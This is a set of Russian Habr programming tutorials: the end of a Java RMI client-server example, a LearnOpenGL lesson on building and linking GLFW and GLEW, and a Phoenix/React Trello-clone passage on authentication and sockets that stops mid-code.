> 9. ClientRegister stub = (ClientRegister)UnicastRemoteObject.exportObject(server, 0);
> 10.
> 11. Registry registry = LocateRegistry.createRegistry(12345);
> 12. registry.bind("ClientRegister", stub);
> 13.
> 14. server.startSearch();
> 15. } catch (Exception e) {
> 16. System.out.println ("Error occured: " + e.getMessage());
> 17. System.exit (1);
> 18. }
> 19. }
> 20. }
> \* This source code was highlighted with Source Code Highlighter.`
Разберём инициализацию:
> `1. ClientRegister stub = (ClientRegister)UnicastRemoteObject.exportObject(server, 0);
> \* This source code was highlighted with Source Code Highlighter.`
Экспортируем удалённый объект и получаем stub, посредством которого клиент будет вызывать методы нашего объекта. Второй параметр exportObject — порт, который будет использоваться для соеденения с удалённым объектом, 0 — выбор любого свободного порта. stub нужно передать клиенту. Тут возможны совершенно разные варианты. Можно даже передать stub клиенту на дискете 3.5'' :) Мы воспользуемся RMI-регистратором. Его можно как создать внутри нашей vm, так и использовать «внешний», представляемый утилитой rmiregistry. Я использовал первый вариант:
> `1. Registry registry = LocateRegistry.createRegistry(12345);
> 2. registry.bind("ClientRegister", stub);
> \* This source code was highlighted with Source Code Highlighter.`
Создаём регистратор и связываем наш stub с именем ClientRegister. Регистратор будет принимать соеденения на 12345 порту.
Теперь клиент ([полный код](http://www.everfall.com/paste/id.php?7rjnhztufjra)):
> `1. public class PrimeNumbersSearchClient implements PrimeChecker {
> 2.
> 3. ...
> 4.
> 5. public static void main(String[] args) {
> 6. PrimeNumbersSearchClient client = new PrimeNumbersSearchClient();
> 7.
> 8. try {
> 9. Registry registry = LocateRegistry.getRegistry(null, 12345);
> 10. ClientRegister server = (ClientRegister)registry.lookup("ClientRegister");
> 11.
> 12. PrimeChecker stub = (PrimeChecker)UnicastRemoteObject.exportObject(client, 0);
> 13. server.register(stub);
> 14.
> 15. } catch (Exception e) {
> 16. System.out.println ("Error occured: " + e.getMessage());
> 17. System.exit (1);
> 18. }
> 19. }
> 20. }
> \* This source code was highlighted with Source Code Highlighter.`
Клиенту нужно получить серверный stub, чтобы зарегистрироваться.
> `1. Registry registry = LocateRegistry.getRegistry(null, 12345);
> 2. ClientRegister server = (ClientRegister)registry.lookup("ClientRegister");
> \* This source code was highlighted with Source Code Highlighter.`
Находим удалённый регистратор и запрашиваем у него stub связанный с именем «ClientRegister». Первый параметр LocateRegistry.getRegistry(null, 12345) — хост (null — localhost), второй — порт.
Далее экспортируем клиентский удалённый объект и передадим серверу stub (уже клиентский) — зарегистрируемся. Сервер добавит клиента в очередь доступных checker'ов и начнёт передавать ему числа для проверки. После проверки, если она завершилась без ошибок, клиент снова попадает в очередь и т.д.
UPD: перенёс в Java | https://habr.com/ru/post/74639/ | null | ru | null |
# learnopengl. Урок 1.2 — Создание окна
 В прошлом уроке мы разобрались с тем, что такое OpenGL. В этом уроке мы поговорим о причине необходимости использования GLFW, GLEW и CMake, а также рассмотрим как их использовать. А также освежим в памяти, разницу между статической и динамической линковкой.
Заинтересовавшихся прошу под кат.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
Часть 1.2 — Создание окна
=========================
Прежде чем начать создавать умопомрочительную графику нам надо создать контекст и окно приложения, в котором мы будет эту графику рисовать. Но, к сожалению, эти операции специфичны для каждой операционной системы и OpenGL всеми силами старается абстрагироваться от этих операций. Это означает, что создавать окно, определять контекст и работать с пользовательским вводом нам придется самим.
GLFW
----
GLFW — это библиотека, написанная на C, специально нацеленная для предоставления OpenGL самого необходимого для отрисовки контента на экран. Она позволяет нам создать контекст, определить параметры окна и работать с пользовательским вводом, а это все что там сейчас нужно.
В основном в этом и следующем уроке мы будем заставлять GLFW нормально работать, проверять правильность создания OpenGL контекста и производить отрисовку окна в котором мы будет рисовать графику. Этот урок пошагово расскажет о сборке и линковке GLFW библиотеки. Для этого урока мы будем использовать Microsoft Visual Studio 2012 (заметьте, что процесс будет мало отличаться для других версий VS). Если вы не используете VS — то не волнуйтесь, этот процесс очень похож для всех IDE.
### Сборка GLFW
GLFW можно скачать со [страницы загрузки](http://www.glfw.org/download.html) официального сайта. GLFW поставляется с прекомпилированными бинарниками и заголовочными файлами для VS, но для полноты картины мы соберем GLFW собственноручно. Так что давайте скачаем пакет с исходным кодом (Source package).
> Если вы используете прекомпилированные бинарники — удостоверьтесь, что вы скачали 32 битную версию, а не 64 битную. (Если вы не знаете в чем существенная разница). Так как 64 битная версия генерирует довольно странное поведение для большинства читателей.
После того, как вы скачаете пакет — разархивируйте его. Нам интересны следующие элементы:
* Результат компиляции
* Папка **include**
Сборка библиотеки из исходного кода гарантирует, что результирующая библиотека будет идеально работать на вашем CPU/OS, чего нельзя сказать про поставляемые прекомпилированные библиотеки (иногда они даже просто недоступны для вашей системы). Основная проблема предоставления исходного кода миру, что далеко не все используют одну и ту же IDE для разработки их приложения, что означает, что Проектные файлы могут быть просто несовместимы с другими IDE. И из за этого людям приходится руками собирать собственные проекты, что, очевидно, не очень удобно. Специально для того, чтобы избежать этой проблемы был придуман CMake.
### CMake
CMake — это инструмент для генерации файлов Проекта/Решения для IDE, выбранного пользователем (Visual Studio, Code::Blocks, Eclipse) из набора исходных кодов и CMake скриптов. Такая конфигурация позволяет сгенерировать Visual Studio 2012 проектные файлы, чтобы мы могли без труда собрать библиотеку. Для начала нам надо скачать CMake, сделать это можно на [странице загрузки](http://www.cmake.org/cmake/resources/software.html). Я использую Win32 установщик.
Как только CMake установится, вы сможете выбрать запуск CMake из консоли или в качестве графического приложения. Так как мы стараемся не перегружать уроки — то мы выберем графическое приложение. CMake требует указать директорию с исходным кодом и папку, куда будет записан результат в виде бинарных файлов. В качества директории с исходным кодом мы укажем корневую папку разархивированного GLFW пакета с исходным кодом, а в качестве папки для бинарных файлов мы укажем новую директорию *.
После установки требуемых директорий, нажмите **Configure**, что бы CMake считал требуемые настройки и исходный код. Затем нам требуется выбрать генератор для проекта. Так как мы собираемся использовать Visual Studio 2012 мы выбираем Visual Studio 11 (Visual Studio 2012 также известна как Visual Studio 11). Далее CMake отобразит возможные настройки сборки, их можно оставить без изменения, нажав еще раз на **Configure** для их сохранения. После сохранения настроек можем приступать к генерации проекта, для этого нажмите на **Generate** и в папке **build** будут созданы файлы проекта.
### Компиляция
В папке **build** появился файл **GLFW.sln**, открываем его Visual Studio. CMake должен был сгенерировать проект со всеми требуемыми настройками, поэтому просто начинаем сборку, нажимая на **Build Solution** и в качестве результата мы получае **glfw3.lib** (мы используем 3 версию) в папке **src/Debug**,
После того, как библиотека сгенерировалась надо удостовериться, что IDE знает где искать библиотеку и заголовочные файлы. Есть 2 способа сделать это:
1. Мы ищем **/lib** и **/include** папки IDE или Компилятора и добавляем туда папку **include** и **lib**из GLFW. Это будет работать, но так лучше не делать. Такой метод сложно отследить и вы потеряете все файлы при переустановке или смене компилятора/IDE.
2. Рекомендованный способ — это создать набор директорий, содержащие все заголовочные файлы и библиотеки от третьих лиц к которым вы могли бы обращаться при использовании вашего IDE или Компилятора. Лично я использую одну папку, содержащую папки **Libs** и **Include** где я храню все свои заголовочные файлы и библиотеки для OpenGL проектов. Теперь все мои библиотеки от третьих лиц собраны в одном месте (и их легко перемещать между разными PC). Единственный недостаток — необходимость для каждого нового проекта указывать местоположение этой папки.
По завершению выбранного вами действия можно перейти к созданию нашего первого OpenGL проекта с GLFW.
Наш первый проект
-----------------
Для начала давайте откроем Visual Studio и создадим новый проект. Выберите Visual C++ и Пустой проект (не забудьте выдать проекту приемлемое имя). Теперь у нас есть рабочее пространство для создания нашего первого приложения с использованием OpenGL.
### Линковка
Для использования GLFW нам также требуется его связать с нашим проектом. Это делаеться, указанием, что мы хотим использовать **glfw3.lib** в настройках линковщика, но наш проект все еще не знает, где искать **glfw3.lib** (если вы не выбрали 1 вариант во время решения проблемы с местонахождением файлов библиотек), соответственно нам надо добавить эти директории в проект.
Мы можем добавить те директории, для этого перейдите в **VC++ Directories**, как показано на изображении ниже:
И оттуда вы можете добавить собственные директории, чтобы проект знал где искать требуемые файлы. Это можно сделать ручным способом, просто вставив путь в текстовое поле, либо нажав на **Edit…**, где вы сможете добавить значения в специальном окне.
Здесь вы можете добавить такое количество директорий, какое вам захочется, а IDE также будет искать требуемые файлы там. Теперь, когда **Include** папка указана для среды вы сможете найти все требуемые заголовочные файлы GLFW в . Тоже самое применимо и для директории с библиотеками.
И уже после того, как Visual Studio узнал, где искать требуемые библиотеки, мы наконец можем связать GLFW и наш проект:
Здесь требуется указать название линкуемой библиотеки, в нашем случае это **glfw3.lib** и добавляем мы ее в поле **Additional Dependencies** (сделать это также можно изменив руками или использовав кнопку ) и теперь GLFW будет линковаться к проекту во время компиляции. Также требуется указать OpenGL библиотеки, но этот процесс отличается для разных ОС.
### OpenGL библиотека для Windows
Если вы используете Windows — то библиотека, называющаяся **opengl32.lib** поставляется с Microsoft SDK, которая ставится по умолчанию при установке Visual Studio. Так как в этом уроке мы и так использует Visual Studio — то здесь будет достаточно просто добавить **opengl32.lib** в настройки линковщика.
### OpenGL библиотека для Linux
На Linux системах вам требуется использовать **libGL.so** библиотеку, использовав флаг **-lGL** в настройках линковщика. Если вы не можете найти эту библиотеку — то вам, вероятно, требуется поставить Mesa, NVidia или AMD dev пакеты, но я не буду вдаваться в подробности, так как это очень специфично для платформы (плюс я не являюсь Linux экспертом).
По окончанию добавления GLFW и OpenGL библиотеки в настройки линковщика вы можете подключать GLFW следующим образом:
```
#include
```
Это финальный этап установки и настройки OpenGL.
GLEW
----
Но мы еще не закончили с настройкой OpenGL. Кое что еще придется сделать. Поскольку OpenGL — это лишь спецификация — то реализация ложится на плечи разработчиков видеокарт. По этой причине, поскольку существует множество реализаций OpenGL реальное расположение OpenGL функций не доступно на этапе компиляции и их приходится получать на этапе исполнения. Фактически получение адресов функций ложится на плечи программиста. Процесс получения адресов специфичес для каждой платформы, для Windows это выглядит примерно так:
```
// Определяем прототип функции
typedef void (*GL_GENBUFFERS) (GLsizei, GLuint*);
// Находим эту функцию в реализации и сохраняем указатель на нее
GL_GENBUFFERS glGenBuffers = (GL_GENBUFFERS)wglGetProcAddress("glGenBuffers");
// Теперь мы можем нормально вызвать эту функцию
GLuint buffer;
glGenBuffers(1, &buffer);
```
Как вы можете заметить код выглядит довольно запутанным, а необходимость производить получение адреса для каждой OpenGL функции делает этот процесс просто мучительным. Но к счастью существуют библиотеки реализующие эту динамическую линковку и одной из самых популярных библиотек является **GLEW**
### Сборка и линковка GLEW
GLEW расшифровывается как OpenGL Extension Wrangler Library и управляем всей той громоздкой работой о которой говорилось выше. Поскольку GLEW это тоже библиотека — то нам опять придется собрать ее и связать с нашим проектом. GLEW может быть скачан с [официальной страницы](http://glew.sourceforge.net/index.html), там вы найдете как уже прекомпилированные библиотеки, так и исходный код. И опять же повторюсь: если вы не уверены какую битность использовать — используйте 32 битную версию.
Мы будем использовать *статическую* версию GLEW, которая называется **glew32s.lib** (заметьте приставку `s`). Поэтому добавьте ее в вашу папку с библиотеками, а также добавьте заголовочные файлы в вашу папку с заголовочными файлами. Теперь мы можем линкануть GLEW к проекту, добавив **glew32s.lib** в настройки линковщика в Visual Studio. Заметьте, что GLFW3 по умолчанию собирается как статическая библиотека.
> **Статическая** линковка означает, что библиотека будет интегрирована с исполняемым файлом во время компиляции. Преимущество такого подхода в том, что вам не нужно следить за дополнительными файлами, помимо исполняемого файла. Недостатки такого подхода состоят в том, что исполняемый файл увеличивается в размерах и что при обновлении библиотеки вы вынуждены пересобирать исполняемый файл.
>
>
>
> **Динамическая** линковка осуществляется посредством .dll и .so файлов, осуществляя разделение кода библиотеки и кода приложения, уменьшая размер исполняемого файла и упрощая обновление библиотеки. Недостатком такого подхода является тот факт, что вам придется выпускать DLL файлы вместе с финальным приложением.
Если вы хотите использовать GLEW как статическую библиотеку — то перед подключением GLEW следует задать переменную препроцессора **GLEW\_STATIC**.
```
#define GLEW_STATIC
#include
```
Если вы хотите динамическое связывание — то вы можете опустить задачу переменной препроцессора GLEW\_STATIC. Помните, что если вы используете динамическое связывание то вам придется скопировать .DLL файл в папку с исполняемым файлом.
> Для пользователей Linux, собирающих проект с помощью GCC в сборке могут помочь следующие ключи:
>
>
>
> -lGLEW -lglfw3 -lGL -lX11 -lpthread -lXrandr -lXi.
>
>
>
> Неправильное использование данных ключей может привести к большому количеству неопределенного поведения.
>
>
Теперь, когда мы наконец то собрали и связали GLFW и GLEW у нас все готово для следующего урока в котором мы обсудим как использовать GLFW и GLEW для настройки OpenGL контекста и создания окна. Удостоверьтесь, что ваши директории с заголовочными файлами и файлами библиотек указаны верно и что в названиях библиотек в настройках линковщика нет ошибок. Если вы застряли — проверьте комментарии к исходной статье или другие источники, возможно вы допустили некоторую специфическую ошибку.
Дополнительные ресурсы
----------------------
* [Сборка приложений](http://www.opengl-tutorial.org/miscellaneous/building-your-own-c-application/): предоставляет подробную информацию о процессе линковки и компиляции приложения с большим количеством различных возможных ошибок;
* [GLFW с Code::Blocks](http://wiki.codeblocks.org/index.php?title=Using_GLFW_with_Code::Blocks): сборка GLFW в Code::Blocks IDE;
* [Запуск CMake](http://www.cmake.org/runningcmake/): небольшой урок о запуске CMake под Windows и Linux;
* [Написание сборочной системы под Linux](http://learnopengl.com/demo/autotools_tutorial.txt): урок по autotools от Wouter Verholds описывающий процесс написания системы сборки в Linux специально настроенных для этих уроков;
* [Polytonic/Glitter](https://github.com/Polytonic/Glitter): простой шаблонный проект, который поставляется пред-настроенным со всемы требуемыми библиотеками; идеален, если вы хотите увидеть пример полностью работающего LearnOpenGL проекта.* | https://habr.com/ru/post/311198/ | null | ru | null |
# Клон Trello на Phoenix и React. Части 6-7
**Оглавление (текущий материал выделен)**1. [Введение и выбор стека технологий](https://habrahabr.ru/post/308056/#1)
2. [Начальная настройка проекта Phoenix Framework](https://habrahabr.ru/post/308056/#2)
3. [Модель User и JWT-аутентификация](https://habrahabr.ru/post/308056/#3)
4. [Front-end для регистрации на React и Redux](https://habrahabr.ru/post/308100/#4)
5. [Начальное заполнение базы данных и контроллер для входа в приложение](https://habrahabr.ru/post/308100/#5)
6. **Аутентификация на front-end на React и Redux**
7. **Настраиваем сокеты и каналы**
8. [Выводим список и создаём новые доски](https://habrahabr.ru/post/308382/#8)
9. [Добавляем новых пользователей досок](https://habrahabr.ru/post/308382/#9)
10. [Отслеживаем подключённых пользователей досок](https://habrahabr.ru/post/316108/#10)
11. [Добавляем списки и карточки](https://habrahabr.ru/post/316108/#11)
12. [Выкладываем проект на Heroku](https://habrahabr.ru/post/316108/#12)
Теперь, когда [back-end готов](https://habrahabr.ru/post/308100/#5) обслуживать запросы на аутентификацию, давайте перейдём к front-end и посмотрим, как создать и отправить эти запросы и как использовать возвращённые данные для того, чтобы разрешить пользователю доступ к личным разделам.
### Файлы маршрутов
Прежде, чем продолжить, посмотрим снова на файл маршрутов React:
```
// web/static/js/routes/index.js
import { IndexRoute, Route } from 'react-router';
import React from 'react';
import MainLayout from '../layouts/main';
import AuthenticatedContainer from '../containers/authenticated';
import HomeIndexView from '../views/home';
import RegistrationsNew from '../views/registrations/new';
import SessionsNew from '../views/sessions/new';
import BoardsShowView from '../views/boards/show';
import CardsShowView from '../views/cards/show';
export default (
);
```
Как мы видели в [четвертой части](https://habrahabr.ru/post/308100/#4), `AuthenticatedContainer` запретит пользователям доступ к экранам досок, кроме случаев, когда **jwt**-токен, полученный в результате процесса аутентификации, присутствует и корректен.
### Компонент представления (view component)
Сейчас необходимо создать компонент `SessionNew`, который будет отрисовывать форму входа в приложение:
```
import React, {PropTypes} from 'react';
import { connect } from 'react-redux';
import { Link } from 'react-router';
import { setDocumentTitle } from '../../utils';
import Actions from '../../actions/sessions';
class SessionsNew extends React.Component {
componentDidMount() {
setDocumentTitle('Sign in');
}
_handleSubmit(e) {
e.preventDefault();
const { email, password } = this.refs;
const { dispatch } = this.props;
dispatch(Actions.signIn(email.value, password.value));
}
_renderError() {
const { error } = this.props;
if (!error) return false;
return (
{error}
);
}
render() {
return (
{::this.\_renderError()}
Sign in
Create new account
);
}
}
const mapStateToProps = (state) => (
state.session
);
export default connect(mapStateToProps)(SessionsNew);
```
В целом этот компонент отрисовывает форму и вызывает конструктор действия `signIn` при отправке последней. Он также будет подключён к хранилищу, чтобы иметь доступ к своим свойствам, каковые будут обновляться с помощью преобразователя сессии; в результате мы сможем показать пользователю ошибки проверки данных.
### Конструктор действия (action creator)
Следуя по направлению действий пользователя, создадим конструктор действия сессий:
```
// web/static/js/actions/sessions.js
import { routeActions } from 'redux-simple-router';
import Constants from '../constants';
import { Socket } from 'phoenix';
import { httpGet, httpPost, httpDelete } from '../utils';
function setCurrentUser(dispatch, user) {
dispatch({
type: Constants.CURRENT_USER,
currentUser: user,
});
// ...
};
const Actions = {
signIn: (email, password) => {
return dispatch => {
const data = {
session: {
email: email,
password: password,
},
};
httpPost('/api/v1/sessions', data)
.then((data) => {
localStorage.setItem('phoenixAuthToken', data.jwt);
setCurrentUser(dispatch, data.user);
dispatch(routeActions.push('/'));
})
.catch((error) => {
error.response.json()
.then((errorJSON) => {
dispatch({
type: Constants.SESSIONS_ERROR,
error: errorJSON.error,
});
});
});
};
},
// ...
};
export default Actions;
```
Функция `signIn` создаст POST-запрос, передающий email и пароль, указанные пользователем. Если аутентификация на back-end прошла успешно, функция сохранит полученный jwt-токен в `localStorage` и направит JSON-структуру `currentUser` в хранилище. Если по какой-то причине результатом аутентификации будут ошибки, вместо этого функция перенаправит именно их, а мы сможем показать их в форме входа в приложение.
### Преобразователь (reducer)
Создадим преобразователь `session`:
```
// web/static/js/reducers/session.js
import Constants from '../constants';
const initialState = {
currentUser: null,
error: null,
};
export default function reducer(state = initialState, action = {}) {
switch (action.type) {
case Constants.CURRENT_USER:
return { ...state, currentUser: action.currentUser, error: null };
case Constants.SESSIONS_ERROR:
return { ...state, error: action.error };
default:
return state;
}
}
```
Тут мало что можно добавить, поскольку всё очевидно из кода, поэтому изменим контейнер `authenticated`, чтобы он сумел обработать новое состояние:
### Контейнер authenticated
```
// web/static/js/containers/authenticated.js
import React from 'react';
import { connect } from 'react-redux';
import Actions from '../actions/sessions';
import { routeActions } from 'redux-simple-router';
import Header from '../layouts/header';
class AuthenticatedContainer extends React.Component {
componentDidMount() {
const { dispatch, currentUser } = this.props;
const phoenixAuthToken = localStorage.getItem('phoenixAuthToken');
if (phoenixAuthToken && !currentUser) {
dispatch(Actions.currentUser());
} else if (!phoenixAuthToken) {
dispatch(routeActions.push('/sign_in'));
}
}
render() {
const { currentUser, dispatch } = this.props;
if (!currentUser) return false;
return (
{this.props.children}
);
}
}
const mapStateToProps = (state) => ({
currentUser: state.session.currentUser,
});
export default connect(mapStateToProps)(AuthenticatedContainer);
```
Если при подключении этого компонента токен аутентификации уже существует, но в хранилище отсутствует `currentUser`, компонент вызовет конструктор действия `currentUser`, чтобы получить от back-end данные пользователя. Добавим его:
```
// web/static/js/actions/sessions.js
// ...
const Actions = {
// ...
currentUser: () => {
return dispatch => {
httpGet('/api/v1/current_user')
.then(function(data) {
setCurrentUser(dispatch, data);
})
.catch(function(error) {
console.log(error);
dispatch(routeActions.push('/sign_in'));
});
};
},
// ...
}
// ...
```
Это прикроет нас, когда пользователь обновляет страницу браузера или снова переходит на корневой URL, не завершив предварительно свой сеанс. Следуя за уже сказанным, после аутентификации пользователя и передачи `currentUser` в состояние (state), данный компонент запустит обычную отрисовку, показывая компонент заголовка и собственные вложенные дочерние маршруты.
### Компонент заголовка
Данный компонент отрисует [граватар](https://ru.gravatar.com/) и имя пользователя вместе со ссылкой на доски и кнопкой выхода.
```
// web/static/js/layouts/header.js
import React from 'react';
import { Link } from 'react-router';
import Actions from '../actions/sessions';
import ReactGravatar from 'react-gravatar';
export default class Header extends React.Component {
constructor() {
super();
}
_renderCurrentUser() {
const { currentUser } = this.props;
if (!currentUser) {
return false;
}
const fullName = [currentUser.first_name, currentUser.last_name].join(' ');
return (
{fullName}
);
}
_renderSignOutLink() {
if (!this.props.currentUser) {
return false;
}
return (
[Sign out](#)
);
}
_handleSignOutClick(e) {
e.preventDefault();
this.props.dispatch(Actions.signOut());
}
render() {
return (
* Boards
* {this.\_renderCurrentUser()}
* {this.\_renderSignOutLink()}
);
}
}
```
При нажатии пользователем кнопки выхода происходит вызов метода `singOut` конструктора действия `session`. Добавим этот метод:
```
// web/static/js/actions/sessions.js
// ...
const Actions = {
// ...
signOut: () => {
return dispatch => {
httpDelete('/api/v1/sessions')
.then((data) => {
localStorage.removeItem('phoenixAuthToken');
dispatch({
type: Constants.USER_SIGNED_OUT,
});
dispatch(routeActions.push('/sign_in'));
})
.catch(function(error) {
console.log(error);
});
};
},
// ...
}
// ...
```
Он отправит на back-end запрос `DELETE` и, в случае успеха, удалит `phoenixAuthToken` из `localStorage`, а так же отправит действие `USER_SIGNED_OUT`, обнуляющее `currentUser` в состоянии (state), используя ранее описанный преобразователь сессии:
```
// web/static/js/reducers/session.js
import Constants from '../constants';
const initialState = {
currentUser: null,
error: null,
};
export default function reducer(state = initialState, action = {}) {
switch (action.type) {
// ...
case Constants.USER_SIGNED_OUT:
return initialState;
// ...
}
}
```
### Ещё кое-что
Хотя мы закончили с процессом аутентификации и входа пользователя в приложение, мы ещё не реализовали ключевую функциональность, которая станет основой всех будущих возможностей, которые мы запрограммируем: **пользовательские сокеты и каналы** (the user sockets and channels). Этот момент настолько важен, что я скорее предпочёл бы оставить его для следующей части, где мы увидим, как выглядит `userSocket`, и как к нему подключиться, чтобы у нас появились двунаправленные каналы между front-end и back-end, показывающие изменения в реальном времени.
Сокеты и каналы
---------------
[Оригинал](https://blog.diacode.com/trello-clone-with-phoenix-and-react-pt-7)
В предыдущей части мы завершили процесс аутентификации и теперь готовы начать веселье. С этого момента для соединения front-end и back-end мы будем во многом полагаться на возможности Phoenix по работе в реальном времени. Пользователи получат уведомления о любых событиях, затрагивающих их доски, а изменения будут автоматически показаны на экране.
Мы можем представить каналы (channels) в целом как контроллеры. Но в отличие от обработки запроса и возврата результата в одном соединении, они обрабатывают двунаправленные события на заданную тему, которые могут передаваться нескольким подключённым получателям. Для их настройки Phoenix использует обработчики сокетов (socket handlers), которые аутентифицируют и идентифицируют соединение с сокетом, а также описывают маршруты каналов, определяющие, какой канал обрабатывает соответствующий запрос.
### Пользовательский сокет (user socket)
При создании нового приложения Phoenix оно автоматически создаёт для нас начальную конфигурацию сокета:
```
# lib/phoenix_trello/endpoint.ex
defmodule PhoenixTrello.Endpoint do
use Phoenix.Endpoint, otp_app: :phoenix_trello
socket "/socket", PhoenixTrello.UserSocket
# ...
end
```
Создаётся и `UserSocket`, но нам понадобится внести некоторые изменения в нём, чтобы обрабатывать нужные сообщения:
```
# web/channels/user_socket.ex
defmodule PhoenixTrello.UserSocket do
use Phoenix.Socket
alias PhoenixTrello.{Repo, User}
# Channels
channel "users:*", PhoenixTrello.UserChannel
channel "boards:*", PhoenixTrello.BoardChannel
# Transports
transport :websocket, Phoenix.Transports.WebSocket
transport :longpoll, Phoenix.Transports.LongPoll
# ...
end
```
По сути, у нас будет два разных канала:
* `UserChannel` будет обрабатывать сообщения на любую тему, начинающуюся с `"users:", и мы воспользуемся им, чтобы информировать пользователей о событиях, относящихся к ним самим, например, если они были приглашены присоединиться к доске.
* `BoardChannel` будет обладать основной функциональностью, обрабатывая сообщения для управления досками, списками и карточками, информируя любого пользователя, просматривающего доску непосредственно в данный момент о любых изменениях.
Нам так же нужно реализовать функции `connect` и `id`, которые будут выглядеть так:
```
# web/channels/user_socket.ex
defmodule PhoenixTrello.UserSocket do
# ...
def connect(%{"token" => token}, socket) do
case Guardian.decode_and_verify(token) do
{:ok, claims} ->
case GuardianSerializer.from_token(claims["sub"]) do
{:ok, user} ->
{:ok, assign(socket, :current_user, user)}
{:error, _reason} ->
:error
end
{:error, _reason} ->
:error
end
end
def connect(_params, _socket), do: :error
def id(socket), do: "users_socket:#{socket.assigns.current_user.id}"
end
```
При вызове функции `connect` (*что происходит автоматически при подключении к сокету — прим. переводчика*) с `token` в качестве параметра, она проверит токен, получит из токена данные пользователя с помощью `GuardianSerializer`, созданного нами в [части 3](https://habrahabr.ru/post/308056/#3), и сохранит эти данные в сокете, так, что они в случае необходимости будут доступны в канале. Более того, она так же запретит подключение к сокету неаутентифицированных пользователей.
**Прим. переводчика***Обратите внимание, приведено два описания функции connect: `def connect(%{"token" => token}, socket) do ... end` и `def connect(_params, _socket), do: :error`. Благодаря [механизму сопоставления с шаблоном](http://elixir-lang.org/getting-started/pattern-matching.html) (pattern matching) первый вариант будет вызван при наличии в ассоциативном массиве, передаваемом первым параметром, ключа "token" (а значение, связанное с этим ключом, попадёт в переменную, названную token), а второй — в любых других случаях. Функция `connect` вызывается фреймворком автоматически при соединении с сокетом.*
*Функция `id` используется для идентификации текущего подключения к сокету и может использоваться, к примеру, для завершения всех активных каналов и сокетов для данного пользователя. При желании это можно сделать из любой части приложения, отправив сообщение `"disconnect"` вызовом `PhoenixTrello.Endpoint.broadcast("users_socket:#{user.id}", "disconnect", %{})`*
*Кстати, с помощью `.Endpoint.broadcast(topic, message, payload)` можно отправить сообщение не только об отключении пользователя, но и вообще любое сообщение всем пользователям, подписанным на соответствующую тему. При этом `topic` — это строка с темой, (например, `"boards:877"`), `message` — это строка с сообщением (например, `"boards:update"`), а `payload` — ассоциативный массив с данными, который перед отправкой будет преобразован в json. Например, вы можете отправить пользователям, которые находятся online, какие-то изменения, произведённые с помощью REST api, прямо из контроллера или из любого другого процесса.*
### Канал user
После того, как мы настроили сокет, давайте переместимся к `UserChannel`, который очень прост:
```
# web/channels/user_channel.ex
defmodule PhoenixTrello.UserChannel do
use PhoenixTrello.Web, :channel
def join("users:" <> user_id, _params, socket) do
{:ok, socket}
end
end
```
Этот канал позволит нам передавать любое сообщение, связанное с пользователем, откуда угодно, обрабатывая его на front-end. В нашем конкретном случае мы воспользуемся им для передачи данных о доске, на которую пользователь был добавлен в качестве участника, чтобы мы могли поместить эту новую доску в список данного пользователя. Мы также можем использовать канал для показа уведомлений о других досках, которыми владеет пользователь и для чего угодно другого, что взбредёт вам в голову.
### Подключение к сокету и каналу
Прежде, чем продолжить, вспомним, что мы сделали в предыдущей части… после аутентификации пользователя вне зависимости от того, использовалась ли форма для входа или ранее сохранённый `phoenixAuthToken`, нам необходимо получить данные `currentUser`, чтобы переправить их в хранилище (store) Redux и иметь возможность показать в заголовке аватар и имя пользователя. Это выглядит неплохим местом, чтобы подключиться также к сокету и каналу, поэтому давайте проведём некоторый рефакторинг:
```
// web/static/js/actions/sessions.js
import Constants from '../constants';
import { Socket } from 'phoenix';
// ...
export function setCurrentUser(dispatch, user) {
dispatch({
type: Constants.CURRENT_USER,
currentUser: user,
});
const socket = new Socket('/socket', {
params: { token: localStorage.getItem('phoenixAuthToken') },
});
socket.connect();
const channel = socket.channel(`users:${user.id}`);
channel.join().receive('ok', () => {
dispatch({
type: Constants.SOCKET_CONNECTED,
socket: socket,
channel: channel,
});
});
};
// ...
```
После переадресации данных пользователя мы создаём новый объект `Socket` из JavaScript-библиотеки `Phoenix`, передав параметром `phoenixAuthToken`, требуемый для установки соединения, а затем вызываем функцию `connect`. Мы продолжаем созданием нового канала пользователя (user `channel`) и присоединяемся к нему. Получив сообщение `ok` в ответ на `join`, мы направляем действие `SOCKET_CONNECTED`, чтобы сохранить и сокет, и канал в хранилище:
```
// web/static/js/reducers/session.js
import Constants from '../constants';
const initialState = {
currentUser: null,
socket: null,
channel: null,
error: null,
};
export default function reducer(state = initialState, action = {}) {
switch (action.type) {
case Constants.CURRENT_USER:
return { ...state, currentUser: action.currentUser, error: null };
case Constants.USER_SIGNED_OUT:
return initialState;
case Constants.SOCKET_CONNECTED:
return { ...state, socket: action.socket, channel: action.channel };
